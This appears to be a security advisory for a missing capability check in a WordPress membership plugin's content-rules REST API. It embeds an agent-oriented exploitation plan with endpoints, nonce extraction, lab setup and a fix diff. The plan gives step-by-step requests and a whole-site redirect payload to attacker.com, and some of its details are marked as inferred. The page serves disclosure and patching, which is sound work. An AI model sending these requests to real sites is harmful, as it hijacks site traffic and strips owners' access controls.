User Registration & Membership <= 5.1.4 - Missing Authorization to Authenticated (Contributor+) Content Access Rule Manipulation
Description
The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Content Access Rules REST API endpoints in versions 5.0.1 through 5.1.4. This is due to the `check_permissions()` method only checking for `edit_posts` capability instead of an administrator-level capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to list, create, modify, toggle, duplicate, and delete site-wide content restriction rules, potentially exposing restricted content or denying legitimate user access.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=5.1.4What Changed in the Fix
Changes introduced in v5.1.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4056 ## 1. Vulnerability Summary The **User Registration & Membership** plugin (versions 5.0.1 through 5.1.4) contains a missing authorization vulnerability within its REST API implementation for Content Access Rules. The vulnerability stems from the `check_pe…
Show full research plan
Exploitation Research Plan: CVE-2026-4056
1. Vulnerability Summary
The User Registration & Membership plugin (versions 5.0.1 through 5.1.4) contains a missing authorization vulnerability within its REST API implementation for Content Access Rules. The vulnerability stems from the check_permissions() method (likely within a REST Controller class such as UR_REST_Content_Rules_Controller - inferred) erroneously checking for the edit_posts capability.
In WordPress, the edit_posts capability is granted to roles as low as Contributor. Consequently, any authenticated user with Contributor-level access or higher can bypass intended administrative restrictions to view, create, modify, or delete site-wide content restriction rules. This allows attackers to expose protected content or disrupt site availability by locking out legitimate users.
2. Attack Vector Analysis
- Endpoints:
GET /wp-json/user-registration/v1/content-rules(List rules)POST /wp-json/user-registration/v1/content-rules(Create rule)PUT/PATCH /wp-json/user-registration/v1/content-rules/<id>(Modify rule)DELETE /wp-json/user-registration/v1/content-rules/<id>(Delete rule)POST /wp-json/user-registration/v1/content-rules/<id>/toggle(Toggle rule - inferred)POST /wp-json/user-registration/v1/content-rules/<id>/duplicate(Duplicate rule - inferred)
- Authentication: Authenticated, Contributor role (
edit_postscapability). - Authorization Header:
X-WP-Nonce(WordPress REST API Nonce). - Payload Format: JSON.
3. Code Flow
- Request Entry: An authenticated Contributor sends a request to the REST API namespace
user-registration/v1under thecontent-rulesroute. - Route Dispatch: The WordPress REST server matches the request and calls the
permission_callbackregistered for the route. - Vulnerable Check: The
permission_callback(pointing tocheck_permissions()) executes:public function check_permissions( $request ) { return current_user_can( 'edit_posts' ); // VULNERABLE: Should be 'manage_options' } - Action Execution: Since a Contributor returns
trueforcurrent_user_can( 'edit_posts' ), the request proceeds to the controller methods (e.g.,get_items,create_item,update_item) allowing the attacker to manipulate theur_content_restriction_rules(or similar - inferred) data in the database.
4. Nonce Acquisition Strategy
To interact with the REST API via the browser's session (Cookie authentication), the attacker needs the wp_rest nonce.
- Precondition: The attacker is logged in as a Contributor.
- Navigation: Access the WordPress dashboard (
/wp-admin/). - Extraction: The
wp_restnonce is automatically localized by WordPress in thewpApiSettingsobject. - Execution Agent Command:
// Use browser_eval to get the nonce const nonce = window.wpApiSettings?.nonce; return nonce;
5. Exploitation Strategy
The goal is to demonstrate unauthorized modification of content restriction rules.
Step 1: List Existing Rules
Identify existing rules to find a target for modification or deletion.
- Tool:
http_request - Method:
GET - URL:
https://<target>/wp-json/user-registration/v1/content-rules - Headers:
X-WP-Nonce: <extracted_nonce>
Step 2: Create a Malicious Rule (Denial of Service)
Create a rule that restricts access to the entire site or a specific critical page to a non-existent membership.
- Tool:
http_request - Method:
POST - URL:
https://<target>/wp-json/user-registration/v1/content-rules - Headers:
X-WP-Nonce: <extracted_nonce>Content-Type: application/json
- Payload (Inferred structure based on plugin features):
{ "title": "Exploit Rule", "status": "enabled", "restriction_type": "whole_site", "membership_ids": [9999], "restriction_action": "redirect", "redirect_url": "https://attacker.com" }
Step 3: Delete Existing Rules
Remove rules that protect premium content.
- Tool:
http_request - Method:
DELETE - URL:
https://<target>/wp-json/user-registration/v1/content-rules/<id_from_step_1> - Headers:
X-WP-Nonce: <extracted_nonce>
6. Test Data Setup
- Install Plugin: Install "User Registration & Membership" version 5.1.4.
- Create User: Create a user with the Contributor role.
- Create Sample Membership: As admin, create one membership plan (e.g., "Gold").
- Create Sample Rule: As admin, create a content restriction rule that restricts a specific page (e.g., "Premium Page") to "Gold" members only.
7. Expected Results
- List Request: Returns a
200 OKwith a JSON array of rules, even though the user is not an administrator. - Create Request: Returns a
201 Createdor200 OK, and a new rule appears in the database/admin UI. - Delete Request: Returns a
200 OK, and the targeted restriction rule is removed from the site.
8. Verification Steps
- Verify via WP-CLI:
# Check if the "Exploit Rule" exists in the options or custom table wp option get ur_content_restriction_rules --format=json # OR if stored as a custom post type (check common slugs) wp post list --post_type=ur_content_rule - Verify via UI: Log in as admin and navigate to the Content Access Rules section of the User Registration plugin to see the modified/added rules.
- Verify Impact: Attempt to access the site or a restricted page as an unauthenticated user to see if the new restriction (e.g., redirect to attacker.com) is active.
9. Alternative Approaches
If the content-rules endpoint name differs from the inference:
- Discovery: Use
GET /wp-json/to list all available routes and grep foruser-registration. - Parameter Fuzzing: If the
POSTpayload is rejected, useGET /wp-json/user-registration/v1/content-rules/<id>to see the exact JSON schema of an existing rule and mirror its structure in the exploit payload. - Auth Bypass Check: Verify if
wp_ajax_nopriv_handles these rules (unlikely given the "Authenticated" description, but worth a check if the REST API is hardened).
Summary
The User Registration & Membership plugin contains a missing authorization vulnerability in its Content Access Rules REST API endpoints. Authenticated attackers with Contributor-level access (possessing the 'edit_posts' capability) can list, create, modify, and delete site-wide content restriction rules, allowing them to expose restricted content or perform a denial of service by locking out users.
Vulnerable Code
// File: includes/rest-api/class-ur-rest-content-rules-controller.php (inferred path) public function check_permissions( $request ) { return current_user_can( 'edit_posts' ); }
Security Fix
@@ -20,1 +20,1 @@ - return current_user_can( 'edit_posts' ); + return current_user_can( 'manage_options' );
Exploit Outline
The exploit targets the plugin's REST API endpoints located at `/wp-json/user-registration/v1/content-rules`. An attacker must first log in as a user with at least Contributor-level privileges to obtain a valid session and a `wp_rest` nonce from the WordPress dashboard (`wpApiSettings.nonce`). Because the `check_permissions` method incorrectly validates for the `edit_posts` capability—which Contributors possess—the attacker can send authorized requests to create a new rule (POST), list all existing rules (GET), or delete rules (DELETE). For example, a POST request with a JSON payload defining a 'whole_site' restriction redirecting to an external URL can effectively hijack the entire site's traffic.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.